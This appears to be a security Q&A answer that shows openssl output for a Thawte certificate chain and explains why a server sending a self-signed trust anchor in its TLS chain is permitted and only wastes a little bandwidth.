   i:/C=US/O=Thawte, Inc./OU=Domain Validated SSL/CN=Thawte DV SSL CA
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
1 s:/OU=Go to https://www.thawte.com/repository/index.html/OU=Thawte SSL123 certificate/OU=Domain Validated/CN=externalcortex.com
   i:/C=US/O=Thawte, Inc./OU=Domain Validated SSL/CN=Thawte DV SSL CA
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
2 s:/C=US/O=Thawte, Inc./OU=Domain Validated SSL/CN=Thawte DV SSL CA
   i:/C=US/O=thawte, Inc./OU=Certification Services Division/OU=(c) 2006 thawte, Inc. - For authorized use only/CN=thawte Primary Root CA
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
3 s:/C=US/O=thawte, Inc./OU=Certification Services Division/OU=(c) 2006 thawte, Inc. - For authorized use only/CN=thawte Primary Root CA
   i:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
4 s:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
   i:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
---
Server certificate
subject=/OU=Go to https://www.thawte.com/repository/index.html/OU=Thawte SSL123 certificate/OU=Domain Validated/CN=externalcortex.com
issuer=/C=US/O=Thawte, Inc./OU=Domain Validated SSL/CN=Thawte DV SSL CA
---
No client certificate CA names sent
---
SSL handshake has read 6318 bytes and written 328 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: C88DB986D7A10D5FB17737D335153FF382E61A8564348235746A23B484E5630A
    Session-ID-ctx:
    Master-Key: CDA9E6D3FC8E8E5D7CCA7D3240FCA8E4BECFF3381064AFFE130B2E9DC2E0B471CC01D3C41E22792 5CB8197349606E047
    Key-Arg   : None
    Start Time: 1381459203
    Timeout   : 300 (sec)
    Verify return code: 0 (ok)
---

"Anchor" here means trust anchor: nominally, the named-and-public-key which is known a priori by the SSL client, and used to validate the server's certificate. Traditionally, trust anchors are encoded as certificates, which is a kind of a stretch because a number of fields in a certificate do not make much sense for a trust anchor.

In particular, a certificate has a SubjectDN field and an IssuerDN field, the latter being equal to the SubjectDN of the certificate issuer. A trust anchor has no issuer, so when the trust anchor is encoded as a certificate, it is customary to set the IssuerDN to the same value as the SubjectDN (the certificate is then "self-issued"). This is what you observe; it is not a "duplicate". Similarly, a certificate is signed, so there is a signature field to be filled; trust anchors are then often self-signed. A trust anchor encoded as a self-issued, self-signed certificate is also known as a "trusted root", or "root certificate", or "root CA", or a few other terminology variants.

When the SSL server talks with the SSL client, the server sends its certificate as part of a chain, beginning with a trust anchor and ending on the server's certificate proper. Then the question is: should the trust anchor, assuming that it is encoded as a certificate, be sent as part of the chain ? Sending that certificate is useless, because if the client is to validate the chain, then it must already have it. Nevertheless, it is allowed to send the trust anchor. The standard says so:

  Because
        certificate validation requires that root keys be distributed
        independently, the self-signed certificate that specifies the root
        certificate authority MAY be omitted from the chain, under the
        assumption that the remote end must already possess it in order to
        validate it in any case.

Your server apparently sends the trust anchor. It would be exaggerated to call it an "issue": the standard allows it. At most, we could say that you may omit this trust anchor with no ill effect, and it would save a little bandwidth (about 1 kB per full handshake; the effect will usually not be significant).

(SSL Labs is known to award bad points and pronounce anathemas on details which are, actually, purely cosmetic.)